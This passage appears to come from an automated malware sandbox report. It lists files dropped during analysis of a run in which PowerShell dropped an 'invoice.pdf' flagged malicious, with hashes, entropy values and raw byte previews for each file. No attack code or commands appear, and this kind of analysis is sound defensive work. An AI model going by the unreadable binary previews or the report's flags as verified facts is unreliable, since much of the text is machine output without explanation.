SHA-256:	42B32C483138F4E1E53CD7BC9101E4CB3117434386A9F81E2B4596C8D2DC5532
SHA-512:	9D3899FCC6863EBC86E82E41D94AD9A98466C55E728638FE76FFDAFA1E537223878F28C88BAE76CB895F219A964C56C7AF71F0108A478EE65FD3B780D92225B4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6078767767160334
Encrypted:	false
SSDEEP:	48:7MEKUUUUUUUUUUtvR9H9vxFGiDIAEkGVvhqFl2GL7ms6:7gUUUUUUUUUUJFGSItTKVms6
MD5:	34796AF8749AC0BA803CF124586AC2FC
SHA1:	90EE7C4EF236332D94166475F6EA0404EC23BCC2
SHA-256:	C0B5742B29D1D8FE36DF19440CC46A84C8BD7754B6C755A27CB2E5DE9F5D9469
SHA-512:	AE91DF86BE1B7291275AB030EFD96B96067FD1B1003B86F2C16A6E2B42A16449852380EA1839EA3832DBF7AFFC5F75DD146DA30DD379FD9AC3DEF9DBDEBD393E
Malicious:	false
Preview:	.... .c........(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgjpY7q75D5h24b8LbHufIZ2xnYyu:6a6TZ44ADEjpYu75D51IZ2NK
MD5:	7B44688217A4FE90687CA90F03283ABC
SHA1:	6001EC77F834FB6C309C5C50ECB4D14F0236B846
SHA-256:	209523EBC36E3BC221BD77ABBB4A916E286906669E8B7FC9B2AC5EC50A14AC2D
SHA-512:	9173AE122CD2EE0512E23CC4D9890A3408F4E2783D57DF8568A5963C4A26004E53E8CA3B55EE213664B091561082E5C0021AF6CF4877EEF3799CF30628DFAB1B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSId1081.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.489990391649207
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsOlwCH:Qw946cPbiOxDlbYnuRK+bwll
MD5:	744D30C683A76598AAB6CC1B8802EEF5
SHA1:	A55029490046313A667AE8CAC69813BD0B52C69A
SHA-256:	35E0548B45D50FD68D19B1CA8D11314A536C3E23F31514C49CE2FDDD61D45A6B
SHA-512:	1922F74C7C4C5DB6C97964C429998DC4132CD19197F0EFFBD22DFD04FD5E87E57CAE0FCC6CDF4F1C5B3FC8A32EFE1A56814FB28CDFA56355E68467278E3E2889
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.0.2.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1v1hoh45.gt0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bby23eqz.ct4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A916bzzxz_1yitxfd_5bs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91n0iijc_1yitxfe_5bs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-01-57-460.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.376385504547976
Encrypted:	false
SSDEEP:	384:pAyUwUlUoUGUvUTWUXU4UKFnFZFO0Df0D0w6F6R7X7jUgUUUhUOUXAnpnBnPX1Ep:pR5mhdCeWmbLxjA2fGX6gTXllohbpBP2
MD5:	D1FA72142D73CC901065045CEFA6B231
SHA1:	D2C9CEFE6704AF06F5B30E02D56A78CD5FB80A6F
SHA-256:	BC77F98B94365DA902C9C2FF6CF204E8B2BB95ED6FEC9F81793E7424850581DF
SHA-512:	58F948A161B2BD8D168582AA9B9815F118325EF7B77209C3D46C658A449CFEF8286468DC6431E1458240DD4DC0251884E6CD564BFBDB80BDF062C89CA765F4F8
Malicious:	false
Preview:	SessionID=7352d380-6851-445c-963f-bd4dba670fd6.1736560917473 Timestamp=2025-01-10T21:01:57:473-0500 ThreadID=7944 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7352d380-6851-445c-963f-bd4dba670fd6.1736560917473 Timestamp=2025-01-10T21:01:57:486-0500 ThreadID=7944 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7352d380-6851-445c-963f-bd4dba670fd6.1736560917473 Timestamp=2025-01-10T21:01:57:486-0500 ThreadID=7944 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7352d380-6851-445c-963f-bd4dba670fd6.1736560917473 Timestamp=2025-01-10T21:01:57:486-0500 ThreadID=7944 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7352d380-6851-445c-963f-bd4dba670fd6.1736560917473 Timestamp=2025-01-10T21:01:57:486-0500 ThreadID=7944 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388771786043852
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rC:FU
MD5:	5FA3CBE7150564604ACB1C552BD43F20
SHA1:	8CA8A8BD82973478AD257F38F4E805718997B14C
SHA-256:	C726C97DEFD32BA901FCF3D39C40B532F18FDA67F5F72188D1ACFC6D0CB841BE
SHA-512:	C5FBAB055274EBD3F0A38D8E157C82D32A3B0EF7AF0F7B53EDA8A3330376C6685497BC9FDCF79223EDF8A07C180C73B9D3F50E917A87BC98BFA820A66D9A2D27
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\19276b12-22c3-4465-9db8-ea004e7b5fb1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07oXGZIZwYIGNPJ5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:4WLxXGZIZwZGd3mlind9i4ufFXpAXkrj
MD5:	6455D4D4FB0840FC05FEC57993FD113B
SHA1:	E4115E9861BCCD2595E12947BCE232E89F589775
SHA-256:	7E396DED5CA9391334E4A4C39700F25D6DACEBBD80E63E1D4A19275165523916
SHA-512:	CC1088CB870FB226929D9B4200112678BD933A648809BE6CD682FE1EF78531EC92E9BE248CB09C7B71E98FDA63EB9BC92F783E54886E75C52185A1B281ABBF44
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\49fa6a6b-9212-4d76-b808-c2cf8181e512.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8b64a542-0d6b-4562-b28d-dcdaf85a710a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ac31aaf5-3f31-4bec-b726-579022948ebe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
